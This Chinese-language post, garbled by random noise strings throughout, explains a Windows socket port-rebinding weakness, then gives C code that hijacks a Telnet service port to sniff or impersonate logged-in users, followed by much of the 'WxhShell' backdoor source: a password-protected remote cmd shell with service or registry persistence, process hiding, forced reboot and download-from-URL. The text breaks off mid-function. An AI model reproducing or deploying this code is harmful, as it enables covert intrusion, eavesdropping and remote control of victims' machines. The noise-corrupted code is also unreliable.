在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\7%#4@;? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
TEh.?
h!v<J saddr.sin_family = AF_INET;
_6V1oe2 }i,r{Y]s] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
% P Ex ]%y>l j?Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P%H Dz i/skU9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:vX%0| k|\M(Z*(P 这意味着什么?意味着可以进行如下的攻击:
@"MQ6u G> o<%0|n_O& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2aX*|DGpw g&85L$
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
amdgb,vh ;Xy=;Z.]i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W7
dSx (wM` LE(Ks 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)Z:D}r8[ e).;;0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6[4VbIBSI AB`.K{h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!&>` BkGExz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e1LIk1`p pITF%J@_] #include
R6Ov #include
giX[2`^NG #include
R-j*fO} #include
n\l?+)S * DWORD WINAPI ClientThread(LPVOID lpParam);
cl2_"O int main()
`H6~<9r {
w|-3X WORD wVersionRequested;
|DJ8
"T]E DWORD ret;
+Gt9!x}#e WSADATA wsaData;
HyU: BW;
BOOL val;
NeG`D' SOCKADDR_IN saddr;
kuy?n-1g SOCKADDR_IN scaddr;
7!pKlmQ int err;
lQHF=Jex SOCKET s;
1.F&gP)9 SOCKET sc;
JRo/ HY+ int caddsize;
Ze eV- HANDLE mt;
jRg
gj`o DWORD tid;
|cf-S8pwY wVersionRequested = MAKEWORD( 2, 2 );
o+A1-&qhN err = WSAStartup( wVersionRequested, &wsaData );
> 0MP[ if ( err != 0 ) {
*G>
x07S)~ printf("error!WSAStartup failed!\n");
B5;%R01A return -1;
0X5cn 0L^ }
Giv,%3' saddr.sin_family = AF_INET;
oCaYmi=: bGH#s {'5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.Q,"gsY P3&s<mh saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:rVR{,pL saddr.sin_port = htons(23);
C~qZ& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E]OexRJ^i {
M?eP1v:<+G printf("error!socket failed!\n");
~R
w1 return -1;
{r&mNbz }
2{rWAPHgz val = TRUE;
@kFZN 6 //SO_REUSEADDR选项就是可以实现端口重绑定的
4d@yAr} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
T(D6'm:X {
yS
W$zA, printf("error!setsockopt failed!\n");
szsVk#p return -1;
w*VN= }
)/$J$'mcxd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
73cb1kfPd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
MeEa| . //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=6[.||9 k4K.
mlIO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
SsZC g#i {
.5
.(S^u ret=GetLastError();
(u@:PiU/eP printf("error!bind failed!\n");
=GX5T(P8k return -1;
OTXZdAv }
OX7=g$S 1 listen(s,2);
Te+(7
Z while(1)
D;pI!S<# {
vhfjZ caddsize = sizeof(scaddr);
=
j1Jl^[ //接受连接请求
H0af u)$, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>3uNh:|>/ if(sc!=INVALID_SOCKET)
|U|>YA1[b {
#DUfEZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_re# b? if(mt==NULL)
&>JP.//spi {
mJUM#ry printf("Thread Creat Failed!\n");
%F 2h C
x break;
b)d;eS }
$l]:2!R }
&u>dKf)5 CloseHandle(mt);
^9Pr`\ }
%~!4DXrMk closesocket(s);
8fXiadP# WSACleanup();
:0J`4 return 0;
PK[mf\G\ }
f% pT-# DWORD WINAPI ClientThread(LPVOID lpParam)
|.N[NY {
k>($[;k|b SOCKET ss = (SOCKET)lpParam;
p) 8S]p] SOCKET sc;
i>Q!5 unsigned char buf[4096];
DDeU: SOCKADDR_IN saddr;
7}kJp%- long num;
F)^0R%{C DWORD val;
6'# 5Dqw"r DWORD ret;
bk0>f //如果是隐藏端口应用的话,可以在此处加一些判断
cb}zCl
j o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B>53+GyMV saddr.sin_family = AF_INET;
W@d&X+7e saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
l f>/ saddr.sin_port = htons(23);
%(YQ)=w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q~,Mzt"}W {
[dJ!JT/X{ printf("error!socket failed!\n");
-<#)
]um return -1;
e5'I W__ }
=[(34# val = 100;
=-U0r$sK+F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X1@DI_ {
F&B\ X ret = GetLastError();
nfEbu4| return -1;
y]h0c<NP }
luoQ#1F?sl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OC=&!< {
c*IrZm ret = GetLastError();
CRb*sfKDL return -1;
=5|7S&{ }
)3h\QE!z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&;@L]
o {
{-Y;! printf("error!socket connect failed!\n");
PT/Nz+ closesocket(sc);
JEto_&8,C closesocket(ss);
.+:iAnf return -1;
$TIeeTB }
2) X#&IE while(1)
<%)vl P#@ {
s$M(-"mg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ta?J;&<u]/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
bmG`:_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
` Ig5*X4| num = recv(ss,buf,4096,0);
noWF0+% if(num>0)
j`_S%E% X send(sc,buf,num,0);
6W
i
n!4 else if(num==0)
F6\{gQ<E break;
J^7m?mA num = recv(sc,buf,4096,0);
e9LX0= if(num>0)
|*bUcS<S send(ss,buf,num,0);
#UM,)bH else if(num==0)
x=*Y| break;
lod+]*MD }
ob7'''i closesocket(ss);
Rta}* closesocket(sc);
m\>gOTpA4 return 0 ;
|1@O>GG }
I*rUe#$ S!?T0c?> ^to*ET{0 ==========================================================
tJ(xeb Z
'5itN^ 下边附上一个代码,,WXhSHELL
!gXxM,R $?GggP d ==========================================================
$LXa] d.&_j`\F #include "stdafx.h"
5:@bNNX'j LLx0X
O@ #include <stdio.h>
LW1 4 'A} #include <string.h>
)LP'4* #include <windows.h>
TEV DES #include <winsock2.h>
6P{bUom? #include <winsvc.h>
i c{I #include <urlmon.h>
cK$yr)7 er3Mvw #pragma comment (lib, "Ws2_32.lib")
u$?! #pragma comment (lib, "urlmon.lib")
fN2Sio: HI5NWdfRl #define MAX_USER 100 // 最大客户端连接数
hDXTC_^s #define BUF_SOCK 200 // sock buffer
I9kz)Q o #define KEY_BUFF 255 // 输入 buffer
}IygU 6{G (;fJXgj. #define REBOOT 0 // 重启
e'mF1al #define SHUTDOWN 1 // 关机
zjoo;(?D| eU"yF >6' #define DEF_PORT 5000 // 监听端口
H;`F}qQ3 SQ)BS/8A #define REG_LEN 16 // 注册表键长度
"%T~d[M #define SVC_LEN 80 // NT服务名长度
,i_+Z
|Ls t jM9EP // 从dll定义API
k8 #8)d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?0~g1"Y-*K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KR.;X3S} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
a8xvK;` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CaYb}.:AX @!iS`u // wxhshell配置信息
?e9tnk3 struct WSCFG {
s_ZPo6p int ws_port; // 监听端口
.vHHw@ char ws_passstr[REG_LEN]; // 口令
%;&lVIU0 int ws_autoins; // 安装标记, 1=yes 0=no
E$%v);u char ws_regname[REG_LEN]; // 注册表键名
7~2_'YX>: char ws_svcname[REG_LEN]; // 服务名
fTEZ@#p char ws_svcdisp[SVC_LEN]; // 服务显示名
:^(y~q? char ws_svcdesc[SVC_LEN]; // 服务描述信息
jwwRejNV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7 2$S'O%,0 int ws_downexe; // 下载执行标记, 1=yes 0=no
";.j[p:gi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kw59`z Es char ws_filenam[SVC_LEN]; // 下载后保存的文件名
")8l'^Mq2 ^mC~<pP( };
knO
X5UnS qX}3}TL // default Wxhshell configuration
7"|Qmyb struct WSCFG wscfg={DEF_PORT,
+kWWx#L# "xuhuanlingzhe",
p7\LLJ y 1,
r QzdHA "Wxhshell",
,OlS>>, "Wxhshell",
e\~nqKCb "WxhShell Service",
w!UF^~ "Wrsky Windows CmdShell Service",
)i /w:g> "Please Input Your Password: ",
7bYwh8 1,
=?|$}vDO[ "
http://www.wrsky.com/wxhshell.exe",
xy`Y7W= "Wxhshell.exe"
/@
emE0 };
>-c?+oy q=^;lWs4 // 消息定义模块
]6(%tU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/- Gq`9Z char *msg_ws_prompt="\n\r? for help\n\r#>";
_L=-z*a\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f5//?ek char *msg_ws_ext="\n\rExit.";
6}Y==GPt char *msg_ws_end="\n\rQuit.";
>}wFePl char *msg_ws_boot="\n\rReboot...";
~> )>hy) char *msg_ws_poff="\n\rShutdown...";
tRPIvq/ char *msg_ws_down="\n\rSave to ";
In4VS:dD BoT#b^l char *msg_ws_err="\n\rErr!";
}alq~jY char *msg_ws_ok="\n\rOK!";
>Ec;6V
e Dlz0*eHD char ExeFile[MAX_PATH];
@=G[mc\ int nUser = 0;
3` IR
^ HANDLE handles[MAX_USER];
~;6^n int OsIsNt;
O-.G(" qJ5b;= SERVICE_STATUS serviceStatus;
# [i3cn
SERVICE_STATUS_HANDLE hServiceStatusHandle;
U;kNo3= 2v(Y'f. // 函数声明
1Ov oW Nx int Install(void);
F,as>X# int Uninstall(void);
HJb^l 4Q int DownloadFile(char *sURL, SOCKET wsh);
A1;'S<a int Boot(int flag);
P#3J@aRC void HideProc(void);
|L89yjhWBs int GetOsVer(void);
Qn$YI9t int Wxhshell(SOCKET wsl);
k]AL\)
&W void TalkWithClient(void *cs);
^fN/ int CmdShell(SOCKET sock);
IJ5'n int StartFromService(void);
7[ n
|3 int StartWxhshell(LPSTR lpCmdLine);
>KQ/ c 1Z?uT[kR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7}NvO"u VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vxo?%Dj P_H2[d&/>D // 数据结构和表定义
N`d%4)|{ SERVICE_TABLE_ENTRY DispatchTable[] =
/F^
Jn_ {
pm9sI4S {wscfg.ws_svcname, NTServiceMain},
p< pGqW {NULL, NULL}
-`\n/"#X6i };
GB Vqc!d %p7onwKq0 // 自我安装
>`[+24e int Install(void)
*Cp:<Mnd {
mQt0?c _ char svExeFile[MAX_PATH];
@K S .H HKEY key;
)x?)v#k strcpy(svExeFile,ExeFile);
*T}c{/ C2b<is=H: // 如果是win9x系统,修改注册表设为自启动
,ExY.'%1 if(!OsIsNt) {
7wY0JS$fz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Piw i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9:3`LY3wW RegCloseKey(key);
=eS?`| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RH7!3ye RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jUZ$vyT RegCloseKey(key);
![4_K':= return 0;
OXl0R{4 }
e NH9`Aa }
)Pc>+}D }
}Q\+w,pJgN else {
u] G p<mBC2!% // 如果是NT以上系统,安装为系统服务
Gr}NgyT<!D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Wwr if (schSCManager!=0)
zmu+un"\j {
I (k(p\l% SC_HANDLE schService = CreateService
n
_x+xVi% (
p)z#%BY56 schSCManager,
m;1/+qs0 wscfg.ws_svcname,
7+KI9u}- wscfg.ws_svcdisp,
rf`xY4I\ SERVICE_ALL_ACCESS,
4MzPm~Ct SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f)Y~F/[$P SERVICE_AUTO_START,
Vo.~1^ SERVICE_ERROR_NORMAL,
%h,&N D svExeFile,
o9C#5%9 NULL,
UKTfLh NULL,
ZCBF&.! NULL,
i6P$>8jBQ- NULL,
mQSn*;9\T3 NULL
W|E % );
z
yp3+| if (schService!=0)
eJ ^I+?h {
O.\\)8xA CloseServiceHandle(schService);
0r i CloseServiceHandle(schSCManager);
<u],R.S) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*(5T?p[7 strcat(svExeFile,wscfg.ws_svcname);
x&+&)d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}L%2K"8?} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
R[*n3
wB RegCloseKey(key);
L(k`1E return 0;
f<|*^+ }
<9:~u]ixt }
9:=:P> CloseServiceHandle(schSCManager);
CvEIcm=t }
gq4X(rsyD }
f#7=N{wm L`wr~E2u return 1;
K:Z(jF!j }
>M##q?. Mc(|+S@w' // 自我卸载
0jPUDkH* int Uninstall(void)
BJ'pe[Xa5 {
l]Ym)QP HKEY key;
|YV> #l G+k wG)K if(!OsIsNt) {
&RI;!qn6( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/;[x3}[ RegDeleteValue(key,wscfg.ws_regname);
O?"uM >r RegCloseKey(key);
_% \% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x%[NK[^& RegDeleteValue(key,wscfg.ws_regname);
gf9U<J#&C RegCloseKey(key);
"!eq~/nk return 0;
@t*D<B$ }
0@y`iZ]
1S }
CPeu="[ }
9Nx%Sdu else {
Zg>]!^X8 E $W0HZ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
UWK|_RT6SA if (schSCManager!=0)
xirq$sEl {
0M&~;`W} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vifw
FPe if (schService!=0)
P|p
X
F~ {
X=lsuKREZ if(DeleteService(schService)!=0) {
PBFpV8P, CloseServiceHandle(schService);
#`K {vj CloseServiceHandle(schSCManager);
G)M! ,
Q return 0;
@#-\BQ; }
|-S+ x]9 CloseServiceHandle(schService);
(\r^0>H }
P>_9>k@;Q CloseServiceHandle(schSCManager);
26 1? 8&c }
E`hR(UL
? }
d<HO~+9 'Nuy/\[{\ return 1;
t.VVE:A^% }
3hje mO(Y>|mm // 从指定url下载文件
Doq}UWp int DownloadFile(char *sURL, SOCKET wsh)
q8;MPXSG3 {
0 z]H= HRESULT hr;
HY?#r]Ryt char seps[]= "/";
eOkiB!G. char *token;
yHlQKI char *file;
suW|hh1/Ya char myURL[MAX_PATH];
9ZatlI, char myFILE[MAX_PATH];
I|>.&nb !Fxn1Z, strcpy(myURL,sURL);
I>vU;xV\m token=strtok(myURL,seps);
m_Z(osoE#W while(token!=NULL)
h&v].l {
2_o\Wor# file=token;
9) $[W token=strtok(NULL,seps);
U:eX^LE7 }
<SOG?Lh~ ,{msJyacmR GetCurrentDirectory(MAX_PATH,myFILE);
d)D!np= strcat(myFILE, "\\");
,`!lZ|
U strcat(myFILE, file);
!g}@xwWax send(wsh,myFILE,strlen(myFILE),0);
-aE,KQ send(wsh,"...",3,0);
F9r/
M"5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F$|:'#KN if(hr==S_OK)
;mz#$"( return 0;
8fBhX,1 else
#f_'&m return 1;
h6<i,1gQ1 '@w'(}3!3R }
f}4A,%:1 =2DK?]K; // 系统电源模块
'+j;g int Boot(int flag)
llh
+r? {
|M
t2 HANDLE hToken;
V>Xg\9B_ TOKEN_PRIVILEGES tkp;
k\*?<g n5BD0q if(OsIsNt) {
t0v>J9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7r)]9_[( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!O}e)t tkp.PrivilegeCount = 1;
9%3+\[s1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r|\{!;7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-e_TJA if(flag==REBOOT) {
=5fY3%^b{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7IkEud return 0;
ht>/7.p] }
(JnEso-V else {
)b=vBs`% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s6(md<r return 0;
_/cX!/" }
QlR~rFs9t }
.]zZw B else {
rUyGTe(@h if(flag==REBOOT) {
0+SZ-] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
GBR$k P return 0;
B"#pvJN }
<|X+T, else {
5M #',(X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
S% Ky+0 return 0;
v,ni9DIu }
O7LJ-M }
-b8SaLak VYh/URU> return 1;
(4yXr|to} }
d7QUg6= @(E6P;+{ // win9x进程隐藏模块
&2 *
void HideProc(void)
@"/H
er {
'73}{" '
t]]Ig HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r2i]9>w if ( hKernel != NULL )
J.U%W}Hx {
@W
@,8e]c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zw$\d1-+h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mJ5%+.V FreeLibrary(hKernel);
Iw(
wT_ }
Knb(MI6 `v<S return;
OkISRj'!U }
yI07E "9 Fn4yx~0 // 获取操作系统版本
O:T
49:R}r int GetOsVer(void)
|*h{GX.( {
|]?W`KN0 OSVERSIONINFO winfo;
8f)pf$v` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fi ~@J` GetVersionEx(&winfo);
)t7MD( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
GVn'p
Wg return 1;
7
<]YK`a2d else
n6Uf>5 return 0;
<
]+Mdy }
wmXI8'~F& 4@<wN \' // 客户端句柄模块
8@S]P0lk int Wxhshell(SOCKET wsl)
~OxFgKn23& {
ed_+bCNy SOCKET wsh;
l7VTuVGUJ struct sockaddr_in client;
q{b-2k DWORD myID;
Lr6C@pI c{?SFwgd while(nUser<MAX_USER)
,C0y3pL {
6w
m-uu int nSize=sizeof(client);
D/4]r@M2c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I!1+#0SG if(wsh==INVALID_SOCKET) return 1;
iTO Y 5P\A++22Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
FU .%td=: if(handles[nUser]==0)
QV\af closesocket(wsh);
6o9&FU else
R ;A8y nUser++;
\{~CO{II }
dvZlkMm
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eK*oV}U-k FyPG5- return 0;
.j|uf[?h }
/Qef[$!( .Z"`:4O // 关闭 socket
[E6ceX0 void CloseIt(SOCKET wsh)
e00}YWf% {
_G.!^+)kEm closesocket(wsh);
Ef?|0Gm nUser--;
lVd-{m) ExitThread(0);
;
2V$`k }
\*b
.f YN<vOv // 客户端请求句柄
!dh:jPpKq void TalkWithClient(void *cs)
Ct~j/. {
zOFHdd ,"g A<TYt
M SOCKET wsh=(SOCKET)cs;
Yh@2m9 char pwd[SVC_LEN];
A8ef=ljM? char cmd[KEY_BUFF];
k4u/vn`&r char chr[1];
qP##C&+#q int i,j;
J65:MaS m8R=wb
: while (nUser < MAX_USER) {
j)YX=r;xM "_dg$j`Y&& if(wscfg.ws_passstr) {
$Zw+"AA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vx' ] ; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f/IQ2yT-:D //ZeroMemory(pwd,KEY_BUFF);
f5un7,m i=0;
R2C~.d_TDu while(i<SVC_LEN) {
{[Y7h}7 jrz.n4Y` // 设置超时
'wMvO{}$ fd_set FdRead;
$o\z4_I struct timeval TimeOut;
y&O?`"Uv/M FD_ZERO(&FdRead);
AL,7rYZG$ FD_SET(wsh,&FdRead);
IEP|j;~* TimeOut.tv_sec=8;
7gB?rJHV, TimeOut.tv_usec=0;
^ACrWk~UY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J-uQF| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|s(Ih_Zn 2]5Li/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0rI/$ pwd
=chr[0]; IhZn
if(chr[0]==0xd || chr[0]==0xa) { /N<aN9Z<x,
pwd=0; enQW;N1_M
break; a8ouk7G
} 6oZHSjC*
i++; c?}G;$
} Wwg<-
9wAJ
cS:O|R#%t
// 如果是非法用户,关闭 socket UpE+WzY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }' Y)"8AIA
} v'Ehr**]+
6~2upy~e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *mJ#|3I<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = _N[mR^
qnWM %k
while(1) { V rx,'/IS8
(y&sUc9
ZeroMemory(cmd,KEY_BUFF); B9$f y).Gp
'kY/=*=Q
// 自动支持客户端 telnet标准 |>'N^
j=0; Meep
while(j<KEY_BUFF) { *l"CIG'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~jz| T}s
cmd[j]=chr[0]; xLi3|^q
if(chr[0]==0xa || chr[0]==0xd) { p8)R#QWz9
cmd[j]=0; oaPWeM+
break; .`*]nN{
} |mHf7gCX
j++; oD\t4]?E
} 2Vf242z_
yTK3eK
// 下载文件 cqJXZ.XC
if(strstr(cmd,"http://")) { Aaq%'07ihW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); I=<Qpd4
if(DownloadFile(cmd,wsh)) i '*!c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [XDV-6KCE.
else ">3t+A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1i~q~O,
} Z}>F
V~4
else { 'xG J;pY
!5?_)
switch(cmd[0]) { _Z9d.-
.s,04xW\
// 帮助 _xm<zy{`S
case '?': { }d>.Nj#zh
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QKq4kAaJ!
break; |%ZJN{!R
} wuYak"KX
// 安装 &QW&K
case 'i': { _6r[msH"
if(Install()) 9s[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~~pH9=c2
else &p_iAMn:9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n^l*oEl
break; 6m(? (6+;K
} 8 M,@Mbn
// 卸载
)R'%SLw
case 'r': { QKts-b[3
if(Uninstall()) 4u%AZ<-C}m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +75"Q:I
else .[1 f$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D&uaA-;s
break; &S66M2
} aQ\SV0PI
// 显示 wxhshell 所在路径 +>*=~R
case 'p': { oQmXKV+[v
char svExeFile[MAX_PATH]; r nr-wUW@
strcpy(svExeFile,"\n\r"); mTWd+mx
strcat(svExeFile,ExeFile); #5{xWMp/0
send(wsh,svExeFile,strlen(svExeFile),0); KU
oAxA
break; >bQOpGy}l
} X`WS&!C<
// 重启 G"-V6CA[
case 'b': { D86F5HT}}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U\qbr.<
if(Boot(REBOOT)) b1i~F45h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8kCmuGlk
else { LAlX|b
closesocket(wsh); >Ovz;
ExitThread(0); d-e/0F!
} G!I5Er0pdy
break; G7+ {O7
} z;?jKE p
// 关机 =>3,]hnep
case 'd': { gzSm=6Qw0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q%?%zuU
if(Boot(SHUTDOWN)) p!=8 Pq.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1mG]
else { u t4:LHF
closesocket(wsh); K39I j_3
ExitThread(0); /.!&d^
} >yP>]r+
break; 9e>2kd
} 3gVU#T[[
// 获取shell +2 oZML
case 's': { uE (5q!/
CmdShell(wsh);
+@f
closesocket(wsh); _xi&%F/
ExitThread(0); j#P4&
break; OAW_c.)5D
} B]<N7NYn1
// 退出 vf<Dqy <M.
case 'x': { rKslgZhQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @jMo/kO/A
CloseIt(wsh); -X7x~x-
break; uaKbqX
} V(0Y
// 离开 `RE>gX
case 'q': { G9QvIXRi
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
n7Eh!<
closesocket(wsh); JLo E)\Mi
WSACleanup(); R[v<mo[s
exit(1); nXb_\9E
break; K8BlEF`
} Je9Z:s[
}
2~g-k3
} F-ofR]|)>
N2[j By8M
// 提示信息 bDh4p]lm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C Q iHk
} UukY9n];]
} noa+h<vGb
r1RM7y
return; 2h*aWBLk
} %P<fz1
h,BPf5\S
// shell模块句柄 $t"QLsk0
int CmdShell(SOCKET sock) +N+117m
{ 4Y1^ U{A+
STARTUPINFO si; VbJE zl
ZeroMemory(&si,sizeof(si)); {6qxg _{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
ip{b*@K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XfMUodV-OZ
PROCESS_INFORMATION ProcessInfo; <'sm($.2
char cmdline[]="cmd"; %_p]6doF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !J<0.nO/:
return 0; ZTfW_0
} b 1Wz
[]
"bn9
+
// 自身启动模式 )t-P o'RW
int StartFromService(void) _1$ Y\Y
{ yW7>5r
typedef struct *,O3@,+>H
{ 9lGa*f)
DWORD ExitStatus; X_D-K F
DWORD PebBaseAddress; f]?&R c2C
DWORD AffinityMask; 06.8m;{N
DWORD BasePriority; 4s_5>r4
ULONG UniqueProcessId; ]K>bSK^TX
ULONG InheritedFromUniqueProcessId; z%+rI
} PROCESS_BASIC_INFORMATION; [U^Cz{G
g;AW
